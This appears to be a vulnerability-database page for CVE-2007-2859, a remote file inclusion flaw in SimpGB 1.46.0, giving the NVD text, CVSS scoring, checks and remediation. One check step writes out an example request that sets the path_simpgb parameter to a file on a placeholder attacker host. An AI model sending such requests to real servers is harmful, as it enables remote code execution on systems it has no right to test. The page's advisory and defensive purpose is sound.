CVE-2007-2859
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedMultiple PHP remote file inclusion vulnerabilities in SimpGB 1.46.0 allow remote attackers to execute arbitrary PHP code via a URL in the path_simpgb parameter to (1) guestbook.php, (2) search.php, (3) mailer.php, (4) avatars.php, (5) ccode.php, (6) comments.php, (7) emoticons.php, (8) gbdownload.php, and possibly other PHP scripts.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceMultiple PHP scripts in SimpGB 1.46.0 contain a remote file inclusion (RFI) vulnerability via the path_simpgb parameter. Attackers can supply a malicious URL that gets dynamically included, allowing execution of arbitrary PHP code on the server.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 1.46.0CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Confirm SimpGB installationLocate SimpGB files on the server - check web root directories for folders named 'simpgb' or similar. Look for version information in index.php, README, or a version file within the installation.Affected if SimpGB version 1.46.0 is installed and accessible via the web server.
-
Identify the vulnerable parameterSearch PHP source files for 'path_simpgb' - examine files like index.php, admin.php, or any script that handles this parameter. The vulnerability exists where this parameter is used in include() or require() statements.Affected if The path_simpgb parameter is processed and used in dynamic include/require statements without sanitization.
-
Verify parameter is accessibleTest accessing SimpGB pages via HTTP with the path_simpgb parameter, for example: http://[target]/[simpgb_path]/index.php?path_simpgb=http://[attacker]/evil.txtAffected if The web application accepts and processes the path_simpgb parameter without validation.
-
Check application accessibilityDetermine if SimpGB is exposed to the internet or untrusted networks. Review web server configuration and firewall rules to confirm the application endpoint is reachable externally.Affected if SimpGB with the vulnerable parameter is reachable from untrusted networks.
The environment is affected if SimpGB version 1.46.0 is installed, the path_simpgb parameter exists in the PHP code, and the application is accessible to process requests containing this parameter.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataDisable allow_url_include and allow_url_fopen in PHP configuration, and implement strict input validation or whitelisting on the path_simpgb parameter to prevent inclusion of remote files.
- Consultation2.0 h
- Implementation6.0 h
- Testing3.0 h
- Review / QA2.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $3,664.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2007-2859 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2007-2859 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data